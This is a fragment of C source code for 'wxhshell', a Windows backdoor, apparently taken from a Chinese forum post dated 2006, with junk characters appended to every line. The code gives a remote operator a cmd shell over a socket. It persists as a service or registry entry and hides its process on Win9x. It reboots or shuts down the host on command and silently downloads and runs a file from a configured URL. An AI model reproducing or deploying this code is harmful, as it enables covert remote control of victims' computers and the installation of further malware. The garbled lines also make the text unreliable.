  // 帮助 Ahq^dx#o  
  case '?': { tZXtt=M w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MOmp{@  
    break; aTs_5q  
  } ^HL#)fK2I  
  // 安装 Rb~Kyy$  
  case 'i': { I|O~F e.  
    if(Install()) N]yk<55  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "=f*Lk@[  
    else D_9/|:N:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M=N`&m\  
    break; t@v>eb  
    } 4!gyFi6$  
  // 卸载 si nG $=  
  case 'r': { nhCB ])u8l  
    if(Uninstall()) }u+R,@l/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *G~c6B Z  
    else d*>M<6b-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z4J-qK~2  
    break; |ns^' q  
    } :({lXGc}4?  
  // 显示 wxhshell 所在路径 p-; ]O~^  
  case 'p': { % e1vq  
    char svExeFile[MAX_PATH]; x{ZVq 4  
    strcpy(svExeFile,"\n\r"); uX0wg  
      strcat(svExeFile,ExeFile); cdIy[ 1  
        send(wsh,svExeFile,strlen(svExeFile),0); xSOL4  
    break; ;. :UfW  
    } @,aL'2G  
  // 重启 $~~=SOd0  
  case 'b': { 3.d=1|E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,.}PZL  
    if(Boot(REBOOT)) uV 6f~cQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cW GU?cv}  
    else { j^!J: Bj  
    closesocket(wsh); ) L{Tn 8  
    ExitThread(0); {U(h]'  
    } S5Px9&N8(  
    break; tc,7yo\".  
    } QX]tD4OH  
  // 关机 Z*ZG5e  
  case 'd': { n`:l`n>N$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H*\ }W  
    if(Boot(SHUTDOWN)) 'b^:"\t'Rh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t=e0z^2i+  
    else { 2iG(v._x  
    closesocket(wsh); D@JHi'F  
    ExitThread(0); 6|dUz*Pr|\  
    } Xs`:XATb/  
    break; ev guw*u  
    } yauP j&^R  
  // 获取shell d,)F #;^5  
  case 's': { Nm081ic2<  
    CmdShell(wsh); gaCGU<L  
    closesocket(wsh); ckP3[@Su {  
    ExitThread(0); .$OInh  
    break; 1)PR]s:-m@  
  } ntkinbbD  
  // 退出 bA^a@ lv a  
  case 'x': { 8DI|+`OgW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7kwG_0QO  
    CloseIt(wsh); T i/iD2g  
    break; (7wR*vO^  
    } e-K8K+7  
  // 离开 q-3KF  
  case 'q': { <|`@K| N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RYhdf  
    closesocket(wsh); Em]T.'y  
    WSACleanup(); !KlSw,&=.6  
    exit(1); CM#EA"9  
    break; 0$_imjZ  
        } M!jW=^\  
  } dDuA%V0  
  } 6b8Klrar!  
pnG8c<  
  // 提示信息 /g9{zR [  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w0I /  
} {pg@JA  
  } 0*"j:V  
=dw1Q  
  return; AP7W)S  
} R`?^%1^N  
6;b 'j\jG  
// shell模块句柄 [;2:lbPx  
int CmdShell(SOCKET sock) D vKM>P%|  
{ bYgYP|@  
STARTUPINFO si; %N  
ZeroMemory(&si,sizeof(si)); &e)p6Egl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,Df36-74v5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F@lpjW  
PROCESS_INFORMATION ProcessInfo; UKBMGzu2:  
char cmdline[]="cmd"; 1G;Ns] u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MGz> ,c^wW  
  return 0; Jqj6L993e  
} &;skB.  
^0 lPv!2  
// 自身启动模式 4|L@oTzx  
int StartFromService(void) dtBV0$  
{ 3# (5Kco  
typedef struct T> 'Vaxo  
{ Iz8 ^? >X  
  DWORD ExitStatus; !U!E_D.O  
  DWORD PebBaseAddress; 2"'8x?.V  
  DWORD AffinityMask; Cr%r<*s  
  DWORD BasePriority; _Xv/S_yW  
  ULONG UniqueProcessId; >PVi 3S  
  ULONG InheritedFromUniqueProcessId; @[RY8~  
}   PROCESS_BASIC_INFORMATION; 614/wI8(  
9"RfL7{  
PROCNTQSIP NtQueryInformationProcess; rQm  
8'[wa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -8jqC6mQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \@3  
&NQR*Tn  
  HANDLE             hProcess; ~ 7Nyi dV;  
  PROCESS_BASIC_INFORMATION pbi; v`w?QIB]  
L _y|l5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NETC{:j  
  if(NULL == hInst ) return 0; c):*R ]=  
`6$b1qv,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =k7\g /  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mX?{2[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zn!  
49$4  
  if (!NtQueryInformationProcess) return 0; fEc_r:|\6  
cZzZNGY^ts  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r3_gPK  
  if(!hProcess) return 0; 4Z<l>!  
({VBp[Mh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K-C,+eI  
g0OS<,:  
  CloseHandle(hProcess); ,b(S=r  
vxT"BvN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DOIWhd5:  
if(hProcess==NULL) return 0; -\$cGIL  
RbM~E~$  
HMODULE hMod; $)]FCuv  
char procName[255]; kw:D~E (  
unsigned long cbNeeded; j/pQSlV  
Le JlTWotC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f{c[_OR  
kte.E%.PE  
  CloseHandle(hProcess); C+?s~JL  
7 aD&\?  
if(strstr(procName,"services")) return 1; // 以服务启动 \X.=3lc&  
KAcri<^G  
  return 0; // 注册表启动 2rtP.*dd  
} PjW+V`  
c\{}FGC  
// 主模块 C'2 =0oou  
int StartWxhshell(LPSTR lpCmdLine) Pq>[q?>?  
{ I 47GQho  
  SOCKET wsl; HHTsHb{7  
BOOL val=TRUE; >m1V9A  
  int port=0; ^!F5Cz 48  
  struct sockaddr_in door; o=# [^Zv  
}cej5/*  
  if(wscfg.ws_autoins) Install(); v@uaf=x-  
{4aY}= -Q*  
port=atoi(lpCmdLine); Q]5^Eiq8  
\g1@A"  
if(port<=0) port=wscfg.ws_port; -b0'Q  
<?{}Bo0xG  
  WSADATA data; .^IhH|U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \u-e\w  
sLi//P?:t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O\Mq<;|7m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s8d}HI  
  door.sin_family = AF_INET; ?EQ^n3U$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3e6Y  
  door.sin_port = htons(port); tZ j,A%<  
:U.)YHY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rL sK-qQ  
closesocket(wsl); u<shhb-  
return 1; 8{Eo8L'V  
} n=o'ocdS)  
tm1UH 4  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Hbf9,vI  
closesocket(wsl); `h9)`*  
return 1; V<V\0n!0  
} .!8X]trEg  
  Wxhshell(wsl); i;hc]fYb=K  
  WSACleanup(); niHL/\7u  
jJ"EGFa8  
return 0; s P4 ,S(+e  
jc.JX_/  
} B%J%TR_  
5J+V:Xu{  
// 以NT服务方式启动 }j(2Dl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .`& /QiD  
{ 1uS-Tx  
DWORD   status = 0; )Ct*G= N  
  DWORD   specificError = 0xfffffff; G P[r^Z  
,;iBeqr5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @fH&(@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c\MsVH2 |  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 99Yo1Q 0  
  serviceStatus.dwWin32ExitCode     = 0; ~d%;~_n  
  serviceStatus.dwServiceSpecificExitCode = 0; 7Fi2^DlgX  
  serviceStatus.dwCheckPoint       = 0; P b8Z))9j  
  serviceStatus.dwWaitHint       = 0; 1!(%<R  
uo4$rf7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b LM"t0  
  if (hServiceStatusHandle==0) return; Lcs{OW,  
\FoxKOTp  
status = GetLastError(); ,#bb8+z&p  
  if (status!=NO_ERROR) 4iv]N 4  
{ #xP!!.DF(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !b]2q%XM  
    serviceStatus.dwCheckPoint       = 0; {y:#'n  
    serviceStatus.dwWaitHint       = 0; p=~h|(M|  
    serviceStatus.dwWin32ExitCode     = status; l/ rZcf8z  
    serviceStatus.dwServiceSpecificExitCode = specificError; TwuX-b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F%#*U82  
    return; !-5S8b  
  } 3K#mF7)a  
fcE)V#c"g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j:e^7|.   
  serviceStatus.dwCheckPoint       = 0; `N,Vs n"  
  serviceStatus.dwWaitHint       = 0; 5{FM#@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [Yy\>  
} B8 0odU&  
W~u   
// 处理NT服务事件,比如:启动、停止 f' '{.L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mUt,Z^ l`  
{ t*a*v;iz  
switch(fdwControl) t{X?PF\>o  
{ .'S^&M/$  
case SERVICE_CONTROL_STOP: Aa`MK$29F  
  serviceStatus.dwWin32ExitCode = 0; T")i+v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pYfV~Q^3  
  serviceStatus.dwCheckPoint   = 0; IypWVr   
  serviceStatus.dwWaitHint     = 0; Vj=Xcn#*8  
  { [X }@Ct6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *vRI)>wU  
  } J`r,_)J"2  
  return; {,Bb"0 \  
case SERVICE_CONTROL_PAUSE: L-z ;:Ztk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \o B'  
  break; M 20Bc,VI  
case SERVICE_CONTROL_CONTINUE: z9M.e.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "brRME3  
  break; }. xrJ52Tz  
case SERVICE_CONTROL_INTERROGATE: B.YMP;7>  
  break; B [+(r  
}; 1 Itil~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q=(@K4  
} o9ctJf=qn  
%GX uuE}mX  
// 标准应用程序主函数 RVkU+7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?Q96,T-) c  
{ PEW4J{(W  
xJ~ gT  
// 获取操作系统版本 `S\zqF<  
OsIsNt=GetOsVer(); .kc"E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I7fb}j`/  
*#1y6^  
  // 从命令行安装 fVDDYo2\  
  if(strpbrk(lpCmdLine,"iI")) Install(); I /On3"U%  
SE^j=1  
  // 下载执行文件 j,C,5l=  
if(wscfg.ws_downexe) { j0iAU1~_VX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |DE%SVZB  
  WinExec(wscfg.ws_filenam,SW_HIDE); !/j,hO4Z4  
} w; 4jx(  
iiX\it$s  
if(!OsIsNt) { %kh#{*q$  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q(510)  
HideProc(); iuC7Y|  
StartWxhshell(lpCmdLine); 46bl>yk9<  
} \.H9$C$  
else g@~!kh,TH  
  if(StartFromService()) ](W5.a,-$L  
  // 以服务方式启动 D XV@DQ  
  StartServiceCtrlDispatcher(DispatchTable); 7}4'dW.  
else 7G5y)Qb  
  // 普通方式启动 0n:?sFY>  
  StartWxhshell(lpCmdLine); ?;|@T ty%  
b!0DH[XKV  
return 0; =&A!C"qK4[  
}
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只看该作者 1 发表于: 2006-10-10
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